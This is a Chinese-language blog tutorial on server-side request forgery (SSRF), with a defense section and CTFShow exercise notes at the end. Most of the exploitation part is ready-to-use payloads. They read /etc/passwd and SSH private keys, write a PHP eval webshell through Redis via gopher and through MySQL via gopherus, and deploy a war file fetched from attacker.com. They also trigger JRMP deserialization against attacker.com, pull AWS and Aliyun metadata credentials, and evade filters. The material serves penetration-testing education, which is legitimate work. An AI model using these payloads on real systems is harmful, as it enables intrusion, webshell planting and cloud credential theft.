【Web安全】SSRF

❤️博客主页 iknow181
🔥系列专栏 网络安全、 PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

ssrf 本身不能写入文件,需要和其他的漏洞或者协议结合使用。

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner(banner信息就是指服务器返回给你的响应头的相关信息)信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

三、SSRF漏洞点挖掘

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
  12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
  13. 从URL关键字中寻找
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞

四、漏洞利用

0.SSRF 利用的核心前提

要成功利用 SSRF,需先明确两个关键:

  1. 请求控制权:漏洞参数(如 url/callback/file)可完全控制,能自定义请求协议、IP、端口、路径;
  2. 无严格限制:服务器未过滤危险协议(file:///gopher://)、未限制内网 IP(127.0.0.1/192.168/172.16 等)、未校验请求目标。

1.SSRF利用的协议

(1)file:在有回显的情况下,利用 file 协议可以读取任意内容

(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)http/s:探测内网主机存活

2.SSRF 基础利用:信息探测(无门槛,最常用)

核心目标:利用 SSRF 突破网络隔离,探测内网资产、读取本地文件、验证服务存活。

1. 探测内网存活主机 / 开放端口

服务器可访问内网(外网不可达),通过 SSRF 扫描内网 IP + 端口,绘制内网拓扑:

  • 基础 payload(假设漏洞接口为 http://target.com/ssrf?url=):
# 探测本地 80/3306/6379 端口
http://target.com/ssrf?url=http://127.0.0.1:80
http://target.com/ssrf?url=http://127.0.0.1:3306
http://target.com/ssrf?url=http://127.0.0.1:6379

# 探测内网主机(192.168.1.1-255)
http://target.com/ssrf?url=http://192.168.1.100:8080
    • 判断端口开放
      • 端口开放:返回 200/403 / 响应内容(如 “MySQL Server”);
      • 端口关闭:返回超时 / 连接拒绝 / 500 错误。
  • 利用dict 协议
    • dict:// 可快速判断目标 IP: 端口是否开放,比 http:// 更高效(无需等待 HTTP 响应,仅需 TCP 连接)
# 探测本地 Redis 端口(6379)
http://target.com/ssrf?url=dict://127.0.0.1:6379
# 探测内网 MySQL 端口(3306)
http://target.com/ssrf?url=dict://192.168.1.100:3306
# 探测任意端口(如 8080/22)
http://target.com/ssrf?url=dict://127.0.0.1:8080
    • 判断逻辑
      • 端口开放:返回 200 响应 + 服务原始 Banner(如 Redis 返回 -ERR wrong number of arguments for 'get' command);
      • 端口关闭:返回超时 / 500 错误 /“Connection refused”;
      • 端口过滤:返回 “Connection timeout”。
2. 读取本地敏感文件(file:// 协议)

利用 file:// 协议读取服务器本地文件(需服务器允许该协议),是 SSRF 最基础的高危利用:

  • 通用 payload
# 读取 Linux 敏感文件
http://target.com/ssrf?url=file:///etc/passwd
http://target.com/ssrf?url=file:///etc/hosts
http://target.com/ssrf?url=file:///var/log/nginx/access.log  # 日志文件(可能含账号密码)
http://target.com/ssrf?url=file:///root/.ssh/id_rsa        # 私钥文件(最高危)

# 读取 Windows 敏感文件
http://target.com/ssrf?url=file:///C:/Windows/system32/drivers/etc/hosts
http://target.com/ssrf?url=file:///C:/Users/Administrator/.ssh/id_rsa
http://target.com/ssrf?url=file:///C:/ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup/evil.bat
  • 绕过小技巧:若 file:// 被过滤,尝试 file:/(少一个斜杠)、file://./(相对路径)。

file协议利用,这里读取windows目录下的win.ini文件内容

3. 访问内网敏感服务

内网服务(如 Redis、MySQL、ZooKeeper、后台管理系统)通常仅绑定内网 IP,通过 SSRF 直接访问:

  • Redis 未授权访问探测
http://target.com/ssrf?url=http://127.0.0.1:6379  
# 返回“-ERR wrong number of arguments for 'get' command”说明服务存活
  • 内网后台管理系统访问
http://target.com/ssrf?url=http://192.168.1.10:8080/admin  
# 访问内网后台(可能无需鉴权)

3.SSRF 进阶利用:高危操作(结合漏洞,实现控制)

基础探测仅能收集信息,结合内网服务漏洞 / 服务器配置缺陷,可实现代码执行、文件写入、权限接管等核心攻击。

1. 利用 SSRF 触发命令执行(最核心)
场景 1:SSRF + 内网 Redis 未授权访问(写入恶意文件)

Redis 默认绑定 127.0.0.1,外网无法访问,但 SSRF 可伪造本地请求,利用未授权访问写入恶意脚本到 web 目录:

  • 构造 gopher 协议 payload(封装 Redis 命令):Redis 协议为文本协议,需将命令转成 gopher:// 可识别的格式(URL 编码):
# Redis 命令(写 PHP 木马到 /var/www/html/)
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php @eval($_POST['cmd']);?>"
SAVE

# 转成 gopher payload(URL 编码后)
http://target.com/ssrf?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html/%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSET%20x%20%22%3C?php%20@eval($_POST['cmd']);?%3E%22%0d%0aSAVE%0d%0a

执行后,Redis 会将木马写入 /var/www/html/shell.php,攻击者可直接访问该文件执行命令。

场景 2:SSRF + 内网 Tomcat 弱口令(部署 war 包)

内网 Tomcat 若存在弱口令(admin/admin),通过 SSRF 上传恶意 war 包,实现代码执行:

  • 步骤 1:构造恶意 war 包(含木马),上传到公网可访问的服务器(如 http://attacker.com/evil.war);
  • 步骤 2:通过 SSRF 调用 Tomcat 部署接口,下载并部署 war 包:
# Tomcat 部署接口(需认证)
http://target.com/ssrf?url=http://admin:admin@127.0.0.1:8080/manager/html/deploy?path=/evil&war=http://attacker.com/evil.war
  • 步骤 3:访问 http://target.com/evil/shell.jsp 执行命令。
2. 利用 SSRF 写入文件
1. 本地写文件接口调用

服务器提供 “保存配置 / 导出数据” 的本地接口(仅允许 127.0.0.1 访问),通过 SSRF 调用该接口写入木马:

a. 场景 1:信息收集
  • 挖掘目标服务器的本地接口,例如:
    • http://127.0.0.1/admin/api/saveConfig?path=/tmp/malicious.php&content=<?php eval($_POST[cmd]);?>(保存配置到指定文件);
    • http://127.0.0.1/export?file=/var/www/html/shell.jsp&data=<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>(导出数据到指定文件)。
  • 确认接口仅允许本地 / 内网访问(外网直接访问 403 / 拒绝,SSRFI 访问 200)。
b. 场景 2:构造 SSRF 请求写文件

假设目标存在 SSRF 漏洞的接口为 http://target.com/ssrf?url=[可控参数],构造 payload 调用本地写文件接口:

http://target.com/ssrf?url=http://127.0.0.1/admin/api/saveConfig?path=/var/www/html/shell.php&content=<?php @eval($_REQUEST['cmd']);?>

若接口有参数编码 / 长度限制,可通过 gopher:// 协议封装 POST 请求(避免 GET 参数暴露):

# 构造 POST 请求(保存文件)
POST /admin/api/saveConfig HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

path=/var/www/html/shell.php&content=<?php eval($_POST[cmd]);?>

# 转成 gopher payload(URL 编码后)
http://target.com/ssrf?url=gopher://127.0.0.1:80/_POST%20/admin/api/saveConfig%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2088%0d%0a%0d%0apath=/var/www/html/shell.php&content=<?php eval($_POST[cmd]);?>
2. 日志注入 + 文件解析(间接 + 需二次触发)

通过 SSRF 向服务器日志(如 Nginx/Tomcat 日志)注入恶意代码,再利用文件包含 / 解析漏洞执行:

  1. 构造 SSRF 请求注入日志:若服务器会记录请求的 User-Agent/Referer/URL 到日志(如 Nginx 日志、Tomcat 日志),通过 SSRF 伪造请求,将恶意代码注入日志:
# SSRF payload(注入 PHP 代码到 User-Agent)
http://target.com/ssrf?url=http://127.0.0.1/xxx HTTP/1.1
User-Agent: <?php eval($_POST[cmd]);?>
  1. 触发日志文件解析:若日志文件存储在 web 可访问目录(如 /var/log/nginx/access.log),且服务器允许解析该目录的脚本(如 Nginx 配置 fastcgi_pass 指向该目录),则可直接访问日志文件执行代码。
3. 利用 SSRF 实现反序列化攻击

部分服务(如 Dubbo、JRMP、Java RMI)支持反序列化,通过 SSRF 触发恶意反序列化 payload,实现代码执行:

  • JRMP 协议利用:攻击者搭建 JRMP 服务器(含恶意反序列化 payload),通过 SSRF 让目标服务器访问该 JRMP 服务器,触发反序列化:
http://target.com/ssrf?url=jrmp://attacker.com:1099/evil
4. 利用 SSRF 攻击云服务(特有场景)

若目标服务器部署在云厂商(阿里云 / 腾讯云 / AWS),可通过 SSRF 访问云服务元数据接口,获取密钥 / 令牌,接管云资源:

  • 阿里云元数据(ECS)
http://target.com/ssrf?url=http://100.100.100.200/latest/meta-data/  # 读取元数据
http://target.com/ssrf?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/  # 获取 RAM 密钥
  • AWS 元数据
http://target.com/ssrf?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取 IAM 密钥

五、SSRF漏洞绕过方法

若目标对 SSRF 做了基础防护(如过滤 127.0.0.1、禁止 file 协议),需通过以下方式绕过:

1. IP 绕过(过滤内网 IP 时)
  • IP 进制转换:127.0.0.1 → 十进制 2130706433、八进制 017700000001、十六进制 0x7f000001

  • 域名解析:将 127.0.0.1 绑定到公网域名(如 attacker.com A 127.0.0.1),用域名代替 IP;
  • 特殊域名localhost0.0.0.0127.1(省略后段 IP)、xip.io可以指向任意ip的域名 原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1;
  • 路径穿越http://192.168.1.100@127.0.0.1(利用@ 混淆 IP 识别)。
  • 短地址: https://0x9.me/cuGfD 推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/
  • 利用[::]绕过:http://[::]:80/ >>> http://127.0.0.1
  • 句号绕过:127。0。0。1 >>> 127.0.0.1
  • 利用302跳转绕过:使用https://tinyurl.com/生成302跳转地址
2. 协议绕过(过滤危险协议时)
  • 协议变种file://file://file://./gopher://gopher://127.0.0.1:80/_(下划线分隔);
  • 协议嵌套http://gopher://127.0.0.1:6379/evil(部分解析器会优先解析内层协议);
  • 改用其他协议dict://(探测端口)、ftp://(传输文件)、ldap://(内网探测)。
3. 长度 / 编码绕过
  • URL 编码:对 payload 做 1/2 次 URL 编码(如 %2566%2569%256C%2565:///etc/passwd);
  • Unicode 编码file://\u0066\u0069\u006C\u0065://
  • 换行符分割:在 payload 中插入 %0d%0a(部分解析器忽略换行)。

2.常见限制

  • 限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com

  • 2限制请求IP不为内网地址

当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

  • 限制请求只为http协议

(1)采取302跳转
(2)采取短地址

六、SSRF防御

核心防御:白名单 + 协议限制
  • 目标白名单:仅允许 SSRF 接口访问指定的可信域名 / IP(如业务必需的内网服务),禁止 127.0.0.1 / 内网 IP;
  • 协议白名单:仅允许 http:///https://,严格禁止 file:///gopher:///dict:///jrmp:// 等危险协议;
  • 端口限制:仅允许访问 80/443 等常用端口,禁止 6379/3306/8080 等敏感端口。
2. 输入校验与清洗
  • 过滤 @/:///../ 等特殊字符,避免 IP / 协议混淆;
  • 校验请求目标的 IP 归属(如禁止私有 IP 段:10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)。
3. 加固内网服务
  • 禁用 Redis/Tomcat/MongoDB 等服务的未授权访问,设置强密码;
  • 云服务器关闭元数据接口(或限制访问权限);
  • 内网服务仅绑定必要的 IP,禁止 0.0.0.0 监听。
4. 监控与审计
  • 记录 SSRF 接口的请求日志(目标 IP、协议、响应码),异常请求(如访问 127.0.0.1)及时告警;
  • 限制请求频率,防止 SSRF 用于内网扫描。

在这里插入图片描述

### CTFShow Web 入门 SSRF 漏洞 教程 #### 什么是SSRF漏洞 SSRF (Server-Side Request Forgery, 服务器端请求伪造)是一种安全漏洞,允许攻击者构造特定形式的数据输入使服务端发起恶意构建的请求。通常这类攻击旨在让目标服务器访问内网资源或其他受保护的服务接口,这些资源通常是外部网络不可达的[^1]。 #### 利用Gopher协议针对MySQL数据库实施SSRF攻击实例 对于某些场景下的CTF练习环境而言,可能存在未设置密码的MySQL数据库。通过抓取数据包并分析其中的内容可以发现`reurl`参数表现异常,暗示着这里可能存在着可被利用的SSRF缺陷。为了验证这一点以及进一步探索潜在的安全风险,可以通过gopher协议配合专门设计用于辅助测试此类问题的应用程序——比如`gopherus`工具来生成相应的载荷(payload),进而尝试连接至本地运行的MySQL服务,并执行指定命令创建webshell文件以便后续操作[^2]。 ```bash python2 gopherus.py --exploit mysql root select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/4.php' ``` 此段Python脚本调用了`gopherus`库中的功能函数,目的是向位于同一台机器上的MySQL数据库发送SQL语句,在/var/www/html目录下写入含有PHP代码的小型网页文件(`4.php`),该页面接收远程传来的指令并予以解析执行,从而实现反序列化后的任意代码注入效果。 #### 构造特殊URL绕过IP白名单限制 当面对严格控制客户端来源地址的应用逻辑时,巧妙运用字符串拼接技巧同样能达成突破目的。例如下面给出了一种方法,即构造形似正常业务流量却暗藏玄机的HTTP GET请求路径: ```plaintext http://ctf.@127.0.0.1/flag.php?show ``` 上述链接表面上看像是指向了一个名为`ctf.show`网站内的某个子页面;但实际上由于中间夹杂了非法字符(@),使得最终实际发出的有效部分变成了对localhost上部署有`flag.php`脚本位置的一次探测行为。这正好满足了题目所给定条件:正则表达式要求以`http://ctf.`开头以`.show`结尾[^3]。 #### 分析基于XFF头字段的身份认证机制弱点 考虑到一些Web应用程序可能会依赖于HTTP头部信息来进行用户身份识别工作,则有必要深入研究其具体处理流程是否存在安全隐患。如下所示是一份简化版伪代码片段,描述了一个简单但容易受到操纵影响的过程: ```php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if ($ip !== '127.0.0.1') { die('error'); } else { $token = $_POST['token']; if ($token === 'ctfshow') { file_put_contents('flag.txt', $flag); } } ``` 这段PHP代码首先获取到了HTTP请求中携带的`X-Forwarded-For`(简称XFF)首部项值列表,接着从中提取倒数第二个元素作为当前用户的公网出口IP地址表示。如果这个值不是代表回环适配器的IPv4地址(也就是常说的“localhost”),那么就拒绝继续向下执行任何敏感动作;反之则会检查另一个表单变量`token`是否匹配预设密钥串,一旦成功便触发保存FLAG文本的操作。然而值得注意的是,这种方式很容易遭到伪造篡改,因为大多数情况下浏览器是可以随意修改自定义HTTP头部内容而不必经过服务器授权确认环节[^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iknow181

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值